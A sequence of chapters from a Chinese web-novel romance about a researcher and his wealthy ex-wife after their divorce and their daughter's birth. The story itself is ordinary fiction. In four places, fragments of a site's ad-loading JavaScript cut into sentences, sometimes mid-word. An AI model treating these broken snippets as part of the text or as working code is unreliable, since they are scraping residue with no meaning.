王玉莲即便有心理准备,有时候在杨沧的强大气场里也会露怯。有时候见男主人揽活,总觉得这是个缓和氛围的机会,没想到又是做了错误选择。 周轩被夺了手里的奶瓶,万齐枝挑眉笑着看他,杨沧低头专心地喝着乌鸡汤,周轩站在病房里一无是处。 研究院的假并不好请,一旦项目开始,没日没夜直接住在实验室都是常有的事,更别说他还担着清大一门课程,即便是走产假也诸多麻烦,学校手续一路走到校级,院里更是一步步到最大的领导审批,艰难抽出来的时间做的尽是擦洗的活,挨的是脸上没完没了的巴掌,受的是数不尽的怨怼和阴阳怪气。 杨家有的是钱,他能做的事情,有的是人可以替代,只能他做的事情,杨家又不需要。 他周轩似乎只要在杨家的地盘,总是要低到泥土里化作尘埃被人踩上几脚。在研究院首屈一指领着一大帮博士干活的他,在这里连看孩子的月嫂都不如。 所以周轩也不勉强,从善如流地说:“既然这里不缺人,那我便先回去了。” 万齐枝更不乐意,抱臂就要嗔责。 杨沧:“别再来了。” 周轩:“好。” 万齐枝:“……” 两人干脆利落,三言两语板上钉钉,她连个插嘴的机会,嘴动了动,想了半天总觉得这算是个好事,自己把心气捋下去,开始讨论女儿再婚的事。 三十的女人,哪怕是他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们这样的有钱人家,也是一天都耽误不得。 杨沧没给她絮叨的机会,吃完饭收拾了饭盒,一句“我要休息”便不容置喙的把人赶走了。 请了一周假的人,用了不到一半时间就又出现在研究院,大家见了也不稀罕,都知道他和自家媳妇那点不太光彩的事,因此只觉得他人逢喜事精神爽,更是没有人敢在他右半张脸还未完全消下去的青肿多看一眼。 从进了研究院的楼,周轩听了一路的祝贺,一半是庆祝他当爸爸的,另一半是笑的更眉飞色舞,庆祝他脱离苦海的。 周轩面色如常应着,长长的走廊上尽是同事见他后开心的笑,唯有远处过来一人,老远看见他便加快了步伐赶来,脸上苦哈哈的,手臂搭在他肩膀上,在他胸口就是装腔作势的一锤。 “老周,你太不厚道了,你媳妇有我微信你怎么不早说。”尤建苦哈哈的抱怨。 周轩为人刻板,性子沉闷,做事老派又锱铢必较,所以年纪不大却在研究院得了个“老周”这么个称呼。 尤建呢,人如其名,搞科研能力一流,那张嘴却尤其贱,更是有点没脑子,常常口无遮拦得罪人,院里有个南方来的,天天喊他“二叼毛”。 至于大叼毛,是院里另一个“七星瓢虫”,暂且不论。 对于这些言论,周轩一向不予评价,进入研究院,这些人对他来说只有能力强或者弱,好用或不好用。 最近他和尤建在一个组里搞项目,这人虽嘴碎,但办事能力周轩还是总体满意的。 不过尤建和杨沧有微信好友,他也没想到。 毕竟不在一个项目之前,就连他和尤建都不熟,唯一的交集,应该就是两人结婚时,杨沧非要大办一场势必让所有人都知道,所以即便是周轩并不乐意这样大费周章的操持婚事,杨沧固执己见,他也只能在婚礼的时候邀请了几乎研究院所有的同仁。 里面有尤建,两人在那时加了联系方式便也合理了。 尤建还在后怕,装腔作势地拍着胸口说:“我这是不是把大魔女得罪了,她不会收拾我吧。” 周轩的老婆有多可怖,在研究院里不是个秘密,单是她横刀夺爱,强取豪夺,硬生生拆散完美情侣,整得傅一璇差点自杀这事早都在院里闹得沸沸扬扬了。 “我后来给她发了十几条道歉消息,老周,我真不是故意的,哥们不是替你开心有点得意忘形了嘛,你跟你老婆说说,让她心大点,千万别跟我这号小人物计较啊。” 周轩斜了他一眼。 尤建轻打嘴,“前妻,前妻。” 周轩扒拉开他胳膊,径直往办公室走了。 尤建追着还要说,正巧傅一璇抱着文件从另一间办公室出来,两人正遇上。 尤建见势不对,赶紧缩着脑袋溜了。 留在原地的两人没有发生任何他脑补的事情,只是互相点了个头,擦肩而过,各自去做自己的事了。 门口的风打着旋,卷起九月的秋风。 傅一璇抿唇,抱紧手里的资料。 白衣大褂的袖口下坠,露出腕间那丑陋斑驳的伤痕,印证那曾经欲死的决绝。 便利店里铃铛晃荡,发出清脆的响动。 冬日的暖阳绵软舒服,少年与女孩脸上青涩的笑,早已消失在了猎猎冷风里。 8. 豪华别墅与老破小 8.豪华别墅与老破小 周轩回研究院第二天,父母突如其来的电话又把他叫回了医院。 那边尖锐愤怒,闹得已经是人仰马翻。 有同事蹙眉看过来,见竟是他的电话在发出吵闹声音,烦躁嫌弃的眼神立马变成讨好的抱歉,缩了脑袋就又埋头工作了。 周轩起身,捂着手机出门。 “周轩,你现在立刻马上给我来医院!” 现在已经很少有人用勒令的语气对周轩说话了,周围同事各有自己的小心思,或讨好或巴结,即便是研究院院长也是客客气气。在他父母那里,他依旧是那个随时可以批评一通,只会读书挣不到大钱的周轩。 赶到医院后,张小燕立马气势汹汹的冲了过来。 周轩这次早有准备,再不可能顶着一把掌回院里。 张小燕被拦了动作,更加生气:“周轩,我怎么养出你这么个狼心狗肺的孩子,老婆孩子都在医院,你却不闻不问的回去上班了!你的工作是多要紧还是挣了多少钱,能让你抛妻弃子!” 周轩:“这里有人照顾她们。” “再有人能和你在一样吗?你是沧沧的丈夫,是孩子的亲生父亲!”张小燕气的青筋突起,“你给我回来照顾她们娘俩,你这么回去上班,你院里的人都看笑话!” 周轩怪异地哼了声,“笑话?” 他抱臂看向杨沧,女人抬头看过来,两人对视,杨沧先开口,看向张小燕:“这里不需要他。” 张小燕不是万齐枝,只需她一个眼神就能偃旗息鼓,也不是个能听得进劝说的人,杨沧对她这个并不熟悉的婆婆,软硬都没用。 张小燕闻言,脸色一苦,快步跑到她床边,拍着床气的又要哭起来,从骂周轩不听话离婚到责怪他们没出息教出这样的孩子。 周柱气的脸色铁青,“周轩,你想让我们老两口给你跪下是不是?你妈因为你这事气得两天晚上都没睡着,你还想怎么折磨我们!” 张小燕闻言,却是拉着周柱真要给亲生儿子下跪:“妈年纪大可以不要脸,你不行啊,做出这事在村子里是要被人吐口水的啊!” 她哭喊着,歇斯底里,房间里一时又陷入混乱。 周轩冷冷地看着纠缠怨怼着几乎要给他下跪的父母,目光穿过他们落在病床上,两人对视,他讥讽地看着她惹出来的闹剧,杨沧脸色难看。 “停。”她说。 拽着周轩痛哭的张小燕根本没听到。 “停!我说停下!”杨沧怒吼一声,用力过猛撕扯到肚皮上的缝合线以至于似乎都要崩开了,尚未长好的刀口裂出绵延不绝的疼痛,她浑身都在颤抖,手死死按着床。 张小燕和周柱一惊,都停下看她。 杨沧看着两人,说:“不管我和周轩如何,他始终是孩子的父亲,你们想让他来照顾我,大可不必,如果他来照顾孩子,我不拒绝。” “沧沧,你说的是什么话。”张小燕结舌,“你是他老婆,他怎么能不来照顾……” “我们离婚了。”杨沧直直地看着她,“阿姨,你要是担心这个孩子被夺走,也大可不必,你们是她的爷爷奶奶,只要你们想,随时可以来。” 杨沧很少叫她这个婆婆“妈”,但是阿姨喊起来却是很顺口,这可能注定他们不是一家人。 他们在担心闹什么,杨沧很清楚。 “孩子虽然姓杨,但也是周家的孩子,我不会限制你们来看孩子,至于其他的,到此为止吧。” “沧沧!”张小燕着急,孩子重要,但媳妇也重要啊,怎么能真就离婚呢。 “我需要休息,你们都出去。”杨沧说完,让王玉莲把床搅平,闭上眼要睡了。 张小燕一堆话堵在嘴边,对于冷着脸的儿媳妇,最后也不敢说什么,讪讪地走了。 出了病房,周轩少不得被父母一顿教训,他要有做父亲的样。 别忘了,那是你亲女儿! 周轩空闲没两天,又开始往医院跑了。 万齐枝虽然不乐意,但更讨厌他做甩手掌柜,双方相安无事,终于安静的熬到了杨沧出院。 出院前天,万齐枝就联系杨沧要派家里的车去接,声势浩大,势必给她杨家掌上明珠的排场,扫走以前那些窝囊气。 杨沧安排都没听完,脑壳疼道:“别来。” 万齐枝不乐意,结果最后干脆让她都别来了。 杨沧安排了一辆低调的黑色商务车,她已经能下床走路,实在没必要大张旗鼓,而且跟以前有关的纷扰,她只想要静悄悄地解决掉。 王玉莲帮她抱着孩子,刚要出病房,周轩推门进来。 杨沧愣了下。 “我要出院。” 昨天来他就已经知道,而她的意思表达的很明白了。 “嗯。”周轩并不看她,走向王玉莲,把孩子接了过来,王玉莲瞧了眼他,改去拿床边原本打算一会再折返拿的行李。 杨沧没说什么,出了病房。 走出医院,秋日的冷风迎面吹来,她下意识拢了下头上的月子帽,后又忍不住哂笑。 一周多没有走出外界,她看着头顶的蓝天,有恍如隔世之感。还是那片熟悉的天空,只不过天更凉,又或者她愈发畏寒了。 一周前她身体臃肿、沉重、拖沓,灵魂布满疮痍,现在的她步伐轻盈了许多,身边多了一个孩子,身上带着刀口,心里永久的留下了一把看不见的刀。 周轩把孩子递给王玉莲,开车停在了他们跟前,那是一辆二手的吉利星瑞,价格连周轩那辆低调商务车的零头都抵不上。 车窗降下,周轩说:“上车。” 杨沧:“我的车在后面。” 周轩:“我把孩子送回去。” 他是没必要出现,如果他不是孩子的亲生父亲。 杨沧沉默看他。 周轩同样回视不语。 在这样无声的僵持里,他似乎总能赢得全方位的胜利。杨沧无意在人来人往的医院门口同他对峙,微抬下巴,示意月嫂抱着孩子从对面上车。 王玉莲上车,忍不住打量车里的内饰,心里咂舌,她的雇主条件向来不错,更何况这是杨家,却没想到女婿如此的……清贫。 她在脑子里转了半圈,勉强为这样的寒酸想了个体面的形容词,心里尤忍不住咂舌,看来这豪门女婿真不是好当的。她愈发歇了让自己儿子找个江浙沪独生女帮助全家提升一下阶层的心思,娇小姐实在不是好伺候的,更何况杨家这样的豪门明珠。 周轩哪里知道这辆二手车一开,在月嫂眼里都成了令人怜惜的“凤凰男”,上车后只问了句:“地址。” 杨沧:“半山春水。” 周轩落在屏幕上的手顿了下,目光落在后视镜她的脸上,接着如常搜索地址,按着导航启动车。 杨沧清冷的视线从他的侧脸移向窗外。 半山春水是两人结婚后原本要入住的新家,那是杨沧为了两人特意购置的婚房,整个清城数一数二的地盘,当时花了三千多万,对于月工资尚没有三万的周轩来说,是一笔天价。 那时,两人刚领完结婚证从民政局出来,杨沧开着外形设计高调的帕拉梅拉,载着他就要回两人的新家,一边向他炫耀着自己的用心。 “总共五层,有健身房有书房,要不要在第四层再给你整个实验室,省的你总往实验室跑。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 周轩:“实验室的器材加起来比你的房子贵。” 杨沧无所谓道:“买呗,你要是需要。” 那是她和周轩难得的和平相处的时期,又或者从来不存在所谓和平,只是她一朝把人拿捏在手,自以为领了结婚证,这男人就真成自己得了,所以不管周轩怎么说话,她听来都顺耳愉悦。 周轩闻言,偏头过来看她。 杨沧挑眉,笑了:“怎么,不信啊。” 周轩说:“那套房子我不会去,我置办了婚房。” 杨沧的笑敛了些,那个婚房他跑手续的时候周轩没瞒过她,她说了很多次别白费力气了,没想到他还是这么一意孤行,忍不住轻嗤:“那算什么婚房。” 周轩在研究院才工作三月,结婚也就申请了个一室一厅的公寓,周围没有配套设施不说,那80多平的面积,杨沧当衣帽间都嫌小。 她买的半山春水上下总共六层,花园外加后山的湖,占地面积660平,两个人外加佣人,住的舒舒服服,杨沧觉得很没必要为那点男人的面子让她蜗居在那种小房子里。 开往半山春水的动作一点不停。 “停车。”周轩冷道。 杨沧不以为意地掠了他一眼,“周轩,我没想到你这么大男子主义。” 他这人向来冷淡死板,做事就事论事,公平讲道理,没想到在这上面倒是露出点男人的臭毛病来。 周轩的脸色更沉了,“停车!” “你没事吧?”看他真生气了,杨沧还是放慢了车速,但也没停下,“有好房子你就住呗,非要去住那破公寓,那么点大咱俩怎么住啊,一室一厅到时候我生了孩子睡哪?” 周轩:“房子我还在找,过段时间换个大的。” “呵。”杨沧乐了,“我得等你八百辈子才能换到半山春水。” 车里的气氛愈发逼仄,就在杨沧以为周轩要更狠的说些什么时,他却像是缓了一口气,语气恢复到了正常,看向她道:“杨沧,没人逼你住破公寓。” 杨沧闻言,脸色反而更难看,一把把车停在路边。 “周轩,你什么意思?” “我的条件只能为你提供这些,公寓,或者我再换一个,住不住?” “再换一个,换个什么?”她嗤笑。 周轩,“我去外面租个面积大些的,两室一厅,不过不能超过130平。”孩子出生后还有大笔花销,不能任性消费。 “130,哈、哈、哈。”杨沧给了个反应,要是让她那帮兄弟听见她住在130的老房子里等着给男人生孩子,不得笑话她到下辈子。 “660的豪华别墅我不住,去住一个老破小,周轩,说到底,还不是你的大男子主义作祟。” 周轩看她,漆黑的眸子倒映着她的讥嘲,“是你找的男人目前只有这个能力,你早该清楚,但仍旧做了这个决定。” “不,我的决定就是听我的安排,住半山春水。”刚领完结婚证,杨沧不想为这点小事跟他又吵起来,“周轩,到此为止,别闹得不开心。” 她着实不想在今天发脾气。 周轩摇头:“我不可能事事由你。” “哦,是吗?”杨沧不以为意,“这件事你必须听我的。” 她是不可能放着宽敞别墅不住,挤在一个老破小里面,每个月交着那点可怜兮兮的租金的。 周轩的眸愈发漆黑深邃,在这件事上也寸步不让。 杨沧没想到,结婚第一天,两人就为了去哪儿住的问题,很快要闹到互捅刀子,给本就荒唐捆绑的婚姻迎头一击。 看来属于他们婚姻满地鸡毛收场的伏笔,早已在开始时写下。 9. 做回普通人 9.做回普通人 车里陷入沉默,周轩吸了口气,率先打破沉闷。 “我回公寓住,你去半山春水。”他干脆利落做完决定,解开安全带就想下车。 “你开什么玩笑?”杨沧拦住他,“我可不想结婚第一天就分居。” “你想怎么办?” “跟我回半山春水,周轩你到底在别扭什么。这么点小事,明眼人都知道该怎么选,你非要跟我对着来。” “为什么不是你跟我住公寓。” “我就没住过那么小的地方!” “呵。”周轩冷笑,“能和我在10平米的寝室上|床的人不是你?连着一个月,跟我在老破小睡的人不是你?” “我他妈睡你我还挑地方?”杨沧气恼,要不是周轩这男人油盐不进,她能跟他回那么破烂的房里去? 杨沧即便嫌弃,但想起来那里几段疯狂的回忆依旧有点血液滚烫,住了一段时间,看那小房都顺眼一些了,但这不代表都结婚了还要将就着跟他住,这点憋屈气为了吃到肉受受就得了,她可没想一直这么事事随他。 周轩面无表情地看着她,冷道:“所以以后是不睡了?睡腻了?” “腻了我跟你领什么结婚证。”杨沧点点他眉心,勾唇妩媚地笑:“周轩,你别逗我。” 没有人比这个男人更清楚,为了得到他,她都做了什么。 想到以前那些事,不免有些心虚的杨沧放软了一些语气,“周轩,半山春水就是你的家,你为什么不愿意住呢,是我买的又如何,你是唯一男主人,没有人敢置喙半个字。” 周轩无言地看她,片刻道:“公寓也是你的家。” “什么家?房子都不是我们的,是租的。” 周轩摇头,无意纠缠这些,只问道:“我最后说一遍,回公寓。” 杨沧柔软的笑有些发硬,盯着他漆黑的眼睛,想自己温和一些,说出口的话又那么坚硬:“不可能。” 她就是这样尖锐的脾气,和他的初恋根本没有可比较的空间,跟他喜欢的类型,更是没有一点相似性。 她的心拧了下,吐了口气要再劝说,结果周轩的电话响起,搅散了她酝酿的话。 看到屏幕上的名字,车里的氛围僵硬中又明显更诡异了几分。 杨沧阴阳怪气地笑:“诶呦,初恋的电话啊,还不快接。” 周轩掠了她一眼,跟着接起来。 杨沧:“……” 她咬牙瞪他,伸手过去,霸道地按了免提。 周轩反应如常,早习惯了她的操作。 “周轩……”傅一璇轻柔的声音流淌在车厢里,听得杨沧的脸色泛青。 “你现在方便通电话吗?我有点事想要找你帮忙。”傅一璇不是爱麻烦别人的性格,即便是前男友,不到逼不得已,她不会说帮忙这两个字。 因此她既然开口,周轩肯定要听完。 “方便,你说。” 杨沧脸色更沉,抱臂死死盯着他。 周轩八风不动,透过前挡风玻璃看着窗外的蓝天,好似只是清闲的接个电话。 “我听说,单位一室一厅的公寓你申请下来了?是有这回事吗?” “嗯。” 他和傅一璇都是刚进研究院,分配的房子都是三室一厅,和同事合住。杨沧怀孕,他自然不能再同别人一起住,费了一番周折,终于申请下来单位一室一厅的房子,一般这些房子都是留给结了婚拖家带口或者资历老的,所以这房子能申请下来,远不是“一番周折”这四个字这么轻巧。 傅一璇那边犹豫片刻,才艰难开口:“我也向后勤那边投了申请,但是他们说单位一室一厅的房子已经全部租出去了,阿轩,我妈最近要出院了,她的身体,我想让她和我住一起,方便我照顾她……” 话到这里,周轩已经明白她的意思。 他换了一室一厅的房子,对外尚未说是婚房未来生子所用,傅一璇只知他换房子,大概误会他是想换个宽敞点的住处。 “如果……如果你方便的话,可以先借给我吗?”说完她又立即补充,“我不会住太久的,半年,最多半年,等找到合适的地方,我就会搬出去。” 他们研究院偏僻,傅一璇要时时照顾母亲,单位的房子是最合适的去处。即便是手头宽裕,现在她照顾人,放在身边肯定最好。 周轩没有立即答应,偏头看向了杨沧。 她眉毛拧的很深,咬牙看他。 周轩下巴点手机。 杨沧摇头,绝对不可能。 周轩挑眉。 杨沧瞪着他,她不想住进去! 周轩收回目光,“好……” 话刚出口,一句“不行”重重打断。 突兀又熟悉的声音闯入,那边意识到他旁边是谁,抱歉道:“不好意思,你不用太为难,我会再想办法。” 傅一璇很快说完挂了电话。 杨沧气恼:“那是我们的婚房,你要让给她?!” 周轩:“你不是不住吗?” 杨沧:“你不是坚持吗?” 周轩:“有用吗?” 杨沧:“总之不能给她住。” 那房子既然要空下来,她其实不在乎周轩让给谁住,反正本来就是公司的房子,但怎么都不应该是傅一璇。 想到那个女人温柔的声音,那是她身上绝对不会出现的柔软,她像一把充满了戾气的刀,周轩这样清冷绅士的人怎么会喜欢。 横刀夺爱,傅一璇总是像一面镜子,照出她这个丑陋脱了线头的毛衣,硬生生扒在周轩的身上的样子,任谁看一眼,都要说一句不适配。 即便如此,杨沧偏要周轩穿着,所有人看着,而傅一璇,是她最大的忌讳。 空气滞涩的车厢里两人看着对方。 周轩面无表情收回脑袋,将电话拨回去,在按下通话键前最后一遍问她:“公寓,你住不住?” 毫无疑问,他在逼她,如此冷静又平淡的逼她,即便知道她介意横亘在两人之间的是什么,也可以毫不手软地拿来威胁她。 还用这么一套看似体贴的询问。 黑长的睫毛在眼边落下纤斜暗影,她抬睫看他:“你不是说,那是我们的新家吗?” 周轩语气平平:“原本也可能该是她的。” 周轩的话,极其冷漠自然的回答给她心脏狠狠拧了一下。 “好。” 杨沧感觉自己摘了一颗坏掉的葡萄,明知咽下去以后有多苦,可是一想到她曾经站在葡萄架下仰头望着这枚葡萄时期待憧憬的样子,依旧想要塞到嘴里尝一尝。 她说:“我住。” * “继续向东行驶一公里,即将到达半山春水。” 机械导航的声音打断了杨沧的回忆,闲置半年的房子即将入住。 竟然只是过了半年多。 九月的秋天,在旁边两人刚穿上长袖衣服时,她裹着厚厚的加棉睡衣,脚上踩着一双棉拖鞋,憔悴、狼狈,站在她曾经有过无数幻想的别墅面前。 大概人类的想象力还是过于 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 匮乏,那几千种选择里,没有一条是她这样出现在她和周轩的新家前。 此时,她和周轩的婚姻已经破裂。 关系形同陌路,萧瑟的秋风里,两人之间唯一的瓜葛是中间那个呼呼大睡的孩子。 这场糟糕的试卷,看样子…… 她写的一塌糊涂。 半山春水早已派人打扫过,杨沧不喜热闹,万齐枝没敢安排太多佣人过来,新招了两个帮佣,一个打扫,一个做饭,加上专门照顾孩子的月嫂王玉莲,三个人住在五层豪华别墅里。 王玉莲以前的雇主也是家大业大,但是进入别墅,看到里面豪华的装潢和墙上挂着的价值不菲的藏品,仍忍不住瞠目结舌。刚打住自己儿子入赘个有钱人家的心思,现在又跃跃欲试了。 杨沧哪会注意自己整得那些字画引起了月嫂的什么小心思,她有些恍如隔世的站在大厅,看着对面旋转走廊旁边,从一楼挂到五楼的字画,彷徨陌生之余,心底又涌起淡淡的难堪和可笑。 周轩爱好极少,油盐不进,平日里除了做研究就是看书,后来知道他写得一手好字,也欣赏别人写的好看的字,她便时常留意拍卖场上的书法。 刚开始是讨他开心,随手拍了一张送他,后来渐渐成了习惯,哪怕不是藏品,有谁写得好出名的,她也要不远千里去求取一字。 他对这些画向来只有一句回馈,“杨小姐不要在我身上浪费时间。” 杨沧撇撇嘴,并不泄气他的拒之千里,这些价值高昂的画都被她收起来,搬进新家时,专门找设计师安排在合适又光影好的地方,让他进出欣赏。只不过她当初因为搬进老破小怄气,把这件事抛到了脑后,久而久之,早就把这里精心准备的画忘掉了。 她冷眸,叫来佣人:“找人来把这些画撤了。” “好的小姐。”佣人瞧着她冰冷神色,应了后赶紧去联系人来撤画。 周轩站在她不远处的落地窗旁,午后的阳光穿过白色纱帘在他侧脸投下斑驳的光影,他极其安静的,侧影看不出情绪地望着他面前墙上那张占据了半张墙那么大的字画。 杨沧眼尾扫过去。 那是她去苏州出差,听闻有个南京的老教授刚退了休,平生酷爱书法,现在空闲了更是痴迷的在家练习,一手好字远近闻名。她知道后,改了回去的机票,在连续工作十五个小时候,顾不上合眼休息,专门又绕道那里求了一幅字。 去的不巧,老先生不在家,幸好电话央求,对方听她诚心,便让自己夫人取了一副以前的字给她。 杨沧除了对挣钱感兴趣,其他一窍不通,更别提书法这种东西了,拿来也不知好坏,只顾着让人框起来,献宝一样挂在这里。 她虽然不懂这副书法的筋骨与神韵,但却是很喜欢上面的内容。 ——到得还来别无事,庐山烟雨浙江潮。 这句话在心尖滚过,烫了一下,使她眼尾扫过周轩,冷冷打断,“孩子已经送到,你可以回去了。” 周轩回头,安静的朝她看过来。 他侧身的光影太亮了,陷在一片柔软的灿光里,逆光的轮廓分明,看不清脸上的神色,只有那双漆黑到探不尽底的眸子,直直的落在她身上。 “你是孩子的父亲,我不干涉你来看她的自由,如果有需要,二楼空房间多的是,你自行选择。”杨沧停了下,似笑非笑道:“毕竟,我这里有的是房间。” 说罢,她按电梯上楼,在门即将关闭时又说:“三楼止步。” “周轩,你就好好做回你的……普通人吧。” 10. 向往的生活 10. 黄水仙 一年前的风比现在还要冷上一些,路边枯了一整个冬天的梧桐枝干横斜,似要在灰蒙蒙的天里戳出个暖春来,那时,杨沧不打一声招呼,冒犯、无礼、尖锐的闯进了周轩的生活。 而今秋日的风裹挟着冬意渐至的苍冷,梧桐树凋落的黄叶流离失所的流浪在街头,他的衣裳从厚到薄,又将从薄到厚,安静沉寂的清城生死轮回着和一年前一样。 白云苍狗,周轩站在半山春水的庭院里,仰头看着辽远天空的青灰天气。 一年到头,他只得了个“普通人”,还有半片照不清前路的雾。 周轩侧脸清晰锋利,鼻梁线条流畅立体得如一副瘦金体,眼眸始终是常年幽深的一片湖水,唯有眉间轻拢的阴翳,不小心泄露了一丝唯属于这段时间的真实情绪。 周轩没在这个不属于他的院子里站很久,抬步开着那辆与豪奢的半山春水格格不入的二手星瑞,驶入蜿蜒的公路,渐渐消失在了梧桐树的尽头。 站在窗边的杨沧走回床边,王玉莲抱着孩子进来,哄着又在哭泣的婴儿说:“杨小姐……” 杨沧低头,看了眼胸前已经湿漉一小片的衣服,身上正涨奶的不舒服。 她坐靠到床头,麻木地解开上衣扣子。 “抱过来吧。” * 生活还是要往前走,周轩的假期结束,立马就投入了忙碌的工作。 实验、数据、教课、整理资料,不过是一周,他就已经堆积了繁重的工作,外界看研究院工作好似花团锦簇,只有院里的人喜欢苦笑调侃,他们充其量不过是高级点的牛马,拿着两三万的薪水,干着没日没夜看不到希望的研发,明眼人都知道其中苦闷。 诸如万齐枝这样身份的,更是看得透彻了。 女婿一连几天不出现在女儿身边,她也算松了口气,得了杨沧的反感后,她也不再厚着脸过来,只交代月嫂几句就回去了。 偌大的半山别墅,只有五个人住着,十多天过去,安安静静的,只间歇响起婴儿的啼哭,绿意悠悠的群山环绕之间,更像一座静默闭塞的监狱,只豪华、气派得多。 杨沧似乎也已经习惯了这样的生活和节奏,偶尔在半睡半醒间迷茫自己在哪里,手下意识往旁边扒拉,扯到腹部的刀口,一阵绵延清晰的疼意从□□窜到神经,刺得她一下清醒。 看着复古豪华的头顶大灯,床头精雕罗马柱,渐渐意识到自己身在何处。 这是她曾经和周轩吵到最不堪,彼此折腾到伤痕累累时曾幻想过的生活,一拍两散,各自重拾以前的生活。 但以前是什么样的,杨沧似乎想不太起来了,分明贯彻她生活那么久,却在挖空脑子追忆那时的感觉时,只得到一张白纸。而终于得到她想要的生活后,身体里依旧被大片的空白填充着,似乎拔除了太多,她的躯干里就连流动的血液都变得死气沉沉。 杨沧看着窗外摇曳的绿榉树,睡意浑浑噩噩的随风叶摇摆,又沦陷于下一场梦里。 整理完今日报告的周轩摘下眼镜,揉了揉眉心。 他近视不严重,但长时间看资料,戴上眼镜会好一些,像所有老学究一样,他的眼镜就是个平平无奇的黑色方框,埋在案头工作的时候,学者气息浓烈,倒消减了一些冷漠。 杨沧看不惯他过得跟个老古板似的,给他买了许多款式的眼镜,价格昂贵,势必要把他打扮成“斯文败类、衣冠禽兽”。 可惜他没在气质上实现,生活里却成了父母口中的“衣冠禽兽”。 想到有几天没去看孩子了,终于把假期堆积工作搞完的周轩,开了两个小时的夜车,在九点到了半山春水。 保姆开了门后,王玉莲见他来,笑盈盈打招呼,献宝似的把孩子抱来给他。 周轩没上三楼,就和孩子在大厅相处了一会。佣人们都退下,给这对久不相见的父女一段亲子互动的私人时光。 周轩看着怀里的小婴儿,情绪依旧是有些陌生和异样。 这么一个小小软软的姑娘,是他的孩子,睡的香甜,浅浅的眉毛透着几分可爱,脸蛋软嘟嘟,可爱惹人疼的模样和他没有半分相像,甚至,也不像她张扬的妈妈。 周轩在和孩子相处之道上一片陌生,抱婴儿的姿势还是生孩子前他在网上观看视频一板一眼学习的,至于一个睡着的小婴儿,他能干什么真是一无所知。因此,他只敢用手轻轻拂了她的脸蛋几下,怕把她逗醒,在泛黄昏暗的台灯下看了她许久。 大概半个小时后,他把孩子还给王玉莲,继续开两个小时的车回到研究院。 先去了实验室,待到凌晨一点多,才踏着夜色,熄灭的路灯,借着月光穿过雾气腾腾的黑色研究院回到住宿楼。 洗漱、上床,躺下身体放松时,手机上的时间是01:43。 第二天,七点的闹钟把他叫醒,从一米五的小床上起来,他的脸上不见困意,洗漱、换衣、出门,吃了早餐便进了办公室。 周而复始,平静、枯燥的生活静静地流淌。 他就像杨沧的祝福那般,回到了他以前普通人的生活。 唯一细小的区别,便是两点一线间多了个要照看的孩子,三点一线,晚睡的时间便也跟着推迟了一些。 仅此而已,日复一日。 枯燥的生活就像往前奔腾的流水,随手衔起来一段,无味透明,硬是要品尝一口,也咀嚼不出太多的味道。 杨沧的日子,同样如此,每日里吃不完的补品,喂不完的奶水,精神总是在醒来和昏睡之间,她像是个超市货架上的零食袋,身体涨的那样大,摇晃里面却又少得可怜。 她抱着孩子,喂着奶水,漫不经心的想,现在算不算,她和周轩过上了最向往的生活。 在吵累了,争执累了的时候。 无数次幻想过的此时此刻,不知道周轩,是不是开心更多些。 这日,周轩是上午十点多过来的,早上临时接到通知要去黔南出差,他回去收拾了行李,距离高铁发车还有一段时间,他来这里,把带给孩子的一些用品递给王玉莲。 “先生,孩子正在花园晒太阳呢。” 应该说是,杨沧正在院子东边的花园里晒太阳,清城在连着阴了十多天后出了个大太阳,她躺在长椅上,偶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 尔懒洋洋的晃晃旁边的婴儿床,和孩子一起享受静谧的暖阳,旁边的木藤小圆桌上,摆着果盘、甜品、婴儿的玩具,还有三三俩俩零散的文件。 秋日的太阳在她冷白的脸上覆了层柔软明媚的光,细长的眼睫挺翘,阖着眼的面容放松舒适,那是在他面前极少出现的惬意与松弛。 周轩熟知的那个杨沧,总是跋扈居多,善意罕见,更难察觉的,还有女人的柔软。 她的事业心一向强,还没有出月子,却已经捡起了工作。 他几乎没有发出动作,只不过三秒,杨沧就睁开了眼。 惺忪的眼神对上他的视线,像平静的湖面裂开一道旋涡,那张扬的眉很快拧到一起,戾气便也跟着袭上来了。 周轩莫名的冒出一个念头。 只有在他面前才会立起锋利尖刺,如同一个严阵以待的刺猬般的杨沧,真的会喜欢他吗? 杨沧眼里的防备很快消失,好似不曾出现,又恢复成那副懒洋洋的样子,只不过按着长椅想起来,显然并不计划和他继续同处一个空间。 然而动作太快,她扯到腰部,下意识嘶了一声,身体微晃,在摔回凳子前周轩扶住她,引她小心坐下。 杨沧没装腔到不需要人帮忙,在他收回手后,随手扒拉了一下他抚过的袖子,像扫去一点浮灰。 周轩并不在意,道:“我不会打扰你,继续躺着吧。” 说罢,他走到孩子那里,低头看向婴儿床。 难得的,孩子醒着,见到他眼睛微微睁大了一点,嘴角跟着笑起来,或许这并不是什么血脉连接的关系,这么小的孩子总是喜欢看到眼前有人影晃动,周轩的心却还是海绵般,被人轻轻揉了一把。 不可否认,这个孩子对他还是有影响力的。不然当初不会在知道孩子的出现有多不合时宜时,思考几天最终还是妥协。 他把孩子抱出来小心搂在怀里,胸前立马贴上了一小团子,让人感到一丝丝熨帖。 周轩清冷的眼底滑过极短的笑意,稍纵即逝,杨沧还是看到了。 她瞥过脸,没有再看这对父女的相处,视线呆呆地落在了花房里大片盛开的黄水仙上。 电影《大鱼》里,Edwaed 向Sandra告白求婚时,那大片到占据整个画面的黄水仙梦幻美好,清城不是个特别适宜黄水仙种植的城市,她派人专门从别的地方移植,看管,长到现在这黄灿灿、生机勃勃的一大片。 唯一遗憾的,她忘记了Sandra本就是个优雅得体、矜持温和、端庄柔情,令多数男人都会喜欢的女人。 《大鱼》里有句台词:“当你遇上你的挚爱时,时间会暂停。” 那是杨沧最终不辞辛苦,也要把花种在这里的原因。 半山春水,她和周轩的家,当他们踏进来那一刻,她希望两人的婚姻幸福又绵长,时间长久的暂停。 如今,她和周轩和平相处的在花园里晒太阳,孩子依偎在爸爸的怀里,好似其乐融融,家庭幸福,婚姻美满。 黄水仙在暖阳里灿烂耀眼。 时间长久暂停了,暂停的,是两条分向而行的路。 11. 